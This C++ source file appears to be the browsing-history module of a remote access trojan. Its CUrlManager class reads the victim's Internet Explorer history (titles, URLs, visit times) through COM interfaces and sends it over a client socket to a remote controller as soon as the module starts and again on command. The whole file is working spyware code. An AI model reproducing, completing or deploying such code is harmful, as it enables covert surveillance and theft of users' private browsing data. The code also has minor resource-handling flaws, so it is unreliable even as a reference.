124 lines
2.7 KiB
C++
124 lines
2.7 KiB
C++
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#include "UrlManager.h"
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#include "urlhist.h"
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#include "comdef.h"
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#include <UrlHist.h> // IUrlHistoryStg2
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#include <shlobj.h> // CLSID_CUrlHistory, SHAddToRecentDocs
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#include <atlbase.h> // USES_CONVERSION;
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#include<iostream>
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#include<atltime.h>
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using namespace std;
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CUrlManager::CUrlManager(CClientSocket *pClient) : CManager(pClient)
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{
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SendUrlList();
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}
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CUrlManager::~CUrlManager()
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{
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}
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void CUrlManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
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{
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switch (lpBuffer[0])
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{
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case COMMAND_XLIST:
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SendUrlList();
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break;
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default:
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break;
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}
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}
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void CUrlManager::SendUrlList()
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{
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UINT nRet = -1;
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LPBYTE lpBuffer = getUrlList();
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if (lpBuffer == NULL)
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return;
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Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
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LocalFree(lpBuffer);
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}
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LPBYTE CUrlManager::getUrlList()
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{
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LPBYTE lpBuffer = NULL;
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DWORD dwOffset = 0;
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DWORD dwLength = 0;
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lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
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lpBuffer[0] = TOKEN_XLIST;
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dwOffset = 1;
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HRESULT hr=S_FALSE;
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hr=CoInitialize(NULL);
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IUrlHistoryStg2 *puhs;
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IEnumSTATURL *pesu;
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STATURL su;
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ULONG celt;
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_bstr_t bstr;
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CString strTitle,strUrl,strTime;
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hr = ::CoCreateInstance(CLSID_CUrlHistory, NULL, CLSCTX_INPROC_SERVER, IID_IUrlHistoryStg, (LPVOID *)&puhs);
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DWORD wd = GetLastError();
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if(SUCCEEDED(hr))
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{
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hr = puhs-> EnumUrls(&pesu);
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if(SUCCEEDED(hr))
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{
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while(SUCCEEDED(pesu-> Next(1, &su, &celt)) && celt > 0)
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{
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strUrl = su.pwcsUrl;
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if ( strUrl.Find("http:") == 0 || strUrl.Find("ftp:")==0 || strUrl.Find("https:") == 0)
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{
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if(su.pwcsTitle)
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strTitle = su.pwcsTitle;
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else
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strTitle = _T( "无标题");
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CTime ct(su.ftLastVisited);
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CString time;
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time = ct.Format("%Y年%m月%d日 %H:%M:%S");
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strTime = time;
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dwLength = lstrlen(strTitle.GetBuffer()) + lstrlen(strUrl.GetBuffer()) + lstrlen(strTime.GetBuffer()) + 3;
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// 缓冲区太小，再重新分配下
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if (LocalSize(lpBuffer) < (dwOffset + dwLength))
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lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
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// 标题
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memcpy(lpBuffer + dwOffset, strTitle.GetBuffer(), lstrlen(strTitle.GetBuffer()) + 1);
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dwOffset += lstrlen(strTitle.GetBuffer()) + 1;
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// 网址
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memcpy(lpBuffer + dwOffset,strUrl.GetBuffer(), lstrlen(strUrl.GetBuffer()) + 1);
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dwOffset += lstrlen(strUrl.GetBuffer()) + 1;
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// 时间
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memcpy(lpBuffer + dwOffset, strTime.GetBuffer(), lstrlen(strTime.GetBuffer()) + 1);
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dwOffset += lstrlen(strTime.GetBuffer()) + 1;
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}
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else
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continue;
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}
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puhs-> Release();
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}
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puhs-> Release();
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}
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lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
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return lpBuffer;
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}
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